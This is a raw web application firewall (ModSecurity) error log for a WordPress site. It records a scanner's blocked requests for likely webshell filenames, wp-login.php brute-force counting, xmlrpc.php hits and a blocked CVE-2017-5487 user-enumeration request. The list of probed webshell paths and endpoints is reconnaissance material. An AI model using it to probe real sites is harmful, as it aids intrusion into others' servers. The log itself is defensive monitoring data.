[Sat Apr 11 08:46:38.023514 2026] [:error] [pid 7947:tid 8013] [client 4.233.120.250:47898] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "admZ7hCvPKMuu97BGdh-JQAAAYk"]
[Sat Apr 11 08:46:38.585205 2026] [:error] [pid 7947:tid 8005] [client 4.233.120.250:55867] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "admZ7hCvPKMuu97BGdh-KgAAAYE"]
[Sat Apr 11 08:46:39.192155 2026] [:error] [pid 8040:tid 8059] [client 4.233.120.250:60861] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "admZ7_T4I2pBpREXxbXh3AAAABE"]
[Sat Apr 11 08:46:39.744490 2026] [:error] [pid 7945:tid 7968] [client 4.233.120.250:56345] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "admZ77sDeeqOgGBoyiRS8wAAARM"]
[Sat Apr 11 08:46:40.267602 2026] [:error] [pid 8040:tid 8063] [client 4.233.120.250:52952] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "admZ8PT4I2pBpREXxbXh4AAAABU"]
[Sat Apr 11 08:46:40.794599 2026] [:error] [pid 7947:tid 8022] [client 4.233.120.250:39515] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ8BCvPKMuu97BGdh-NwAAAZI"]
[Sat Apr 11 08:46:41.502431 2026] [:error] [pid 7947:tid 8015] [client 4.233.120.250:60860] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ8RCvPKMuu97BGdh-PQAAAYs"]
[Sat Apr 11 08:46:42.115800 2026] [:error] [pid 7945:tid 7960] [client 4.233.120.250:13108] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ8rsDeeqOgGBoyiRS-AAAAQs"]
[Sat Apr 11 08:46:42.776279 2026] [:error] [pid 8040:tid 8045] [client 4.233.120.250:50991] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "admZ8vT4I2pBpREXxbXh7QAAAAM"]
[Sat Apr 11 08:46:43.556900 2026] [:error] [pid 8040:tid 8065] [client 4.233.120.250:60800] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "admZ8_T4I2pBpREXxbXh8wAAABc"]
[Sat Apr 11 08:46:44.078182 2026] [:error] [pid 7947:tid 8019] [client 4.233.120.250:58947] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "admZ9BCvPKMuu97BGdh-RAAAAY8"]
[Sat Apr 11 08:46:44.580992 2026] [:error] [pid 7947:tid 8007] [client 4.233.120.250:39543] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "admZ9BCvPKMuu97BGdh-RwAAAYM"]
[Sat Apr 11 08:46:45.164357 2026] [:error] [pid 7946:tid 7992] [client 4.233.120.250:55236] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "admZ9frHdDmbz9V-HcGMeQAAAU8"]
[Sat Apr 11 08:46:45.719478 2026] [:error] [pid 8040:tid 8065] [client 4.233.120.250:52981] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "admZ9fT4I2pBpREXxbXh_wAAABc"]
[Sat Apr 11 08:46:46.292692 2026] [:error] [pid 8040:tid 8066] [client 4.233.120.250:62986] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "admZ9vT4I2pBpREXxbXiBAAAABg"]
[Sat Apr 11 08:46:47.082498 2026] [:error] [pid 7945:tid 7969] [client 4.233.120.250:55119] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "admZ97sDeeqOgGBoyiRTAgAAARQ"]
[Sat Apr 11 08:46:48.097045 2026] [:error] [pid 8040:tid 8044] [client 4.233.120.250:56353] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "admZ-PT4I2pBpREXxbXiCQAAAAI"]
[Sat Apr 11 08:46:49.059025 2026] [:error] [pid 8040:tid 8055] [client 4.233.120.250:63033] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "admZ-fT4I2pBpREXxbXiDQAAAA0"]
[Sat Apr 11 08:46:49.648970 2026] [:error] [pid 7946:tid 7999] [client 4.233.120.250:63024] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "admZ-frHdDmbz9V-HcGMfwAAAVY"]
[Sat Apr 11 08:46:50.244989 2026] [:error] [pid 8040:tid 8056] [client 4.233.120.250:65131] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "admZ-vT4I2pBpREXxbXiEQAAAA4"]
[Sat Apr 11 08:46:50.796404 2026] [:error] [pid 7947:tid 8008] [client 4.233.120.250:36866] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/term.php"] [unique_id "admZ-hCvPKMuu97BGdh-YAAAAYQ"]
[Sat Apr 11 08:46:51.351785 2026] [:error] [pid 8040:tid 8049] [client 4.233.120.250:55836] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "admZ-_T4I2pBpREXxbXiGgAAAAc"]
[Sat Apr 11 08:46:51.973552 2026] [:error] [pid 7945:tid 7954] [client 4.233.120.250:58736] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "admZ-7sDeeqOgGBoyiRTEAAAAQU"]
[Sat Apr 11 08:46:52.499662 2026] [:error] [pid 7947:tid 8021] [client 4.233.120.250:65130] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "admZ_BCvPKMuu97BGdh-ZQAAAZE"]
[Sat Apr 11 08:46:53.642615 2026] [:error] [pid 8040:tid 8053] [client 4.233.120.250:47931] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "admZ_fT4I2pBpREXxbXiJQAAAAs"]
[Sat Apr 11 08:46:54.423884 2026] [:error] [pid 8040:tid 8055] [client 4.233.120.250:36892] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "admZ_vT4I2pBpREXxbXiLgAAAA0"]
[Sat Apr 11 08:46:55.347464 2026] [:error] [pid 7947:tid 8025] [client 4.233.120.250:48046] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "admZ_xCvPKMuu97BGdh-cAAAAZU"]
[Sat Apr 11 08:46:55.831787 2026] [:error] [pid 7946:tid 7992] [client 4.233.120.250:48005] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "admZ__rHdDmbz9V-HcGMkAAAAU8"]
[Sat Apr 11 08:46:56.396567 2026] [:error] [pid 7946:tid 7982] [client 4.233.120.250:39488] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/155.php"] [unique_id "admaAPrHdDmbz9V-HcGMlAAAAUU"]
[Sat Apr 11 08:46:57.116883 2026] [:error] [pid 7946:tid 7981] [client 4.233.120.250:52970] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "admaAfrHdDmbz9V-HcGMmQAAAUQ"]
[Sat Apr 11 08:46:57.948828 2026] [:error] [pid 7946:tid 7994] [client 4.233.120.250:52946] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "admaAfrHdDmbz9V-HcGMngAAAVE"]
[Sat Apr 11 08:46:58.573656 2026] [:error] [pid 7947:tid 8022] [client 4.233.120.250:48056] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "admaAhCvPKMuu97BGdh-dwAAAZI"]
[Sat Apr 11 08:46:59.634620 2026] [:error] [pid 7945:tid 7960] [client 4.233.120.250:51302] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "admaA7sDeeqOgGBoyiRTJAAAAQs"]
[Sat Apr 11 08:47:00.254406 2026] [:error] [pid 7947:tid 8008] [client 4.233.120.250:12786] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "admaBBCvPKMuu97BGdh-eAAAAYQ"]
[Sat Apr 11 08:47:00.937678 2026] [:error] [pid 7946:tid 7993] [client 4.233.120.250:61450] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "admaBPrHdDmbz9V-HcGMrwAAAVA"]
[Sat Apr 11 08:47:01.573894 2026] [:error] [pid 7945:tid 7973] [client 4.233.120.250:47910] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "admaBbsDeeqOgGBoyiRTLQAAARg"]
[Sat Apr 11 08:47:02.252725 2026] [:error] [pid 7945:tid 7953] [client 4.233.120.250:65118] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "admaBrsDeeqOgGBoyiRTMAAAAQQ"]
[Sat Apr 11 08:47:02.986593 2026] [:error] [pid 7946:tid 8001] [client 4.233.120.250:58498] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "admaBvrHdDmbz9V-HcGMtQAAAVg"]
[Sat Apr 11 08:47:03.599569 2026] [:error] [pid 7945:tid 7961] [client 4.233.120.250:47895] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "admaB7sDeeqOgGBoyiRTNgAAAQw"]
[Sat Apr 11 08:47:04.264941 2026] [:error] [pid 7945:tid 7950] [client 4.233.120.250:52639] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "admaCLsDeeqOgGBoyiRTOwAAAQE"]
[Sat Apr 11 08:47:04.896025 2026] [:error] [pid 7945:tid 7949] [client 4.233.120.250:52640] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "admaCLsDeeqOgGBoyiRTPwAAAQA"]
[Sat Apr 11 08:47:05.543033 2026] [:error] [pid 7946:tid 7990] [client 4.233.120.250:58956] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hots.php"] [unique_id "admaCfrHdDmbz9V-HcGMvwAAAU0"]
[Sat Apr 11 08:47:06.161600 2026] [:error] [pid 7946:tid 7995] [client 4.233.120.250:55860] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hots.php"] [unique_id "admaCvrHdDmbz9V-HcGMwQAAAVI"]
[Sat Apr 11 08:47:06.694530 2026] [:error] [pid 7946:tid 7978] [client 4.233.120.250:58745] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hots.php"] [unique_id "admaCvrHdDmbz9V-HcGMxQAAAUE"]
[Sat Apr 11 08:47:07.217034 2026] [:error] [pid 8040:tid 8060] [client 4.233.120.250:12984] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hots.php"] [unique_id "admaC_T4I2pBpREXxbXiOwAAABI"]
[Sat Apr 11 08:47:07.742725 2026] [:error] [pid 8040:tid 8061] [client 4.233.120.250:12773] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "admaC_T4I2pBpREXxbXiPgAAABM"]
[Sat Apr 11 08:47:08.335244 2026] [:error] [pid 7945:tid 7956] [client 4.233.120.250:48034] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "admaDLsDeeqOgGBoyiRTVAAAAQc"]
[Sat Apr 11 08:47:08.932752 2026] [:error] [pid 7946:tid 7998] [client 4.233.120.250:62980] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "admaDPrHdDmbz9V-HcGMywAAAVU"]
[Sat Apr 11 08:47:09.408037 2026] [:error] [pid 8040:tid 8054] [client 4.233.120.250:51278] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin-footer.php"] [unique_id "admaDfT4I2pBpREXxbXiQAAAAAw"]
[Sat Apr 11 08:47:09.929645 2026] [:error] [pid 8040:tid 8044] [client 4.233.120.250:63032] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "admaDfT4I2pBpREXxbXiRAAAAAI"]
[Sat Apr 11 09:24:38.312529 2026] [:error] [pid 22756:tid 22780] [client 45.239.148.226:40046] [client 45.239.148.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.239.148.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "admi1mfoSJ40LEm6kfqyewAAABY"]
[Sat Apr 11 09:42:47.380432 2026] [:error] [pid 34911:tid 34922] [client 157.15.40.61:60164] [client 157.15.40.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media/system/js/core.js"] [unique_id "admnFw4Dca235WG8VGLIDgAAAAk"]
[Sat Apr 11 10:05:30.319168 2026] [:error] [pid 46105:tid 46129] [client 40.89.130.0:11373] [client 40.89.130.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.89.130.0, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "admsagQx5TMzgL5W2CcLyQAAANU"]
[Sat Apr 11 10:05:32.244166 2026] [:error] [pid 46105:tid 46115] [client 40.89.130.0:11373] [client 40.89.130.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.89.130.0, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "admsbAQx5TMzgL5W2CcL0QAAAMc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 11 13:12:12.838809 2026] [:error] [pid 11067:tid 11085] [client 117.214.233.237:58494] [client 117.214.233.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.214.233.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adnYLMW3w7N67R04YCJqZgAAAFA"]
[Sat Apr 11 13:12:15.186624 2026] [:error] [pid 2297:tid 2311] [client 117.214.233.237:58515] [client 117.214.233.237] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adnYL7XJS-Jji11jZk2_7QAAAQo"]
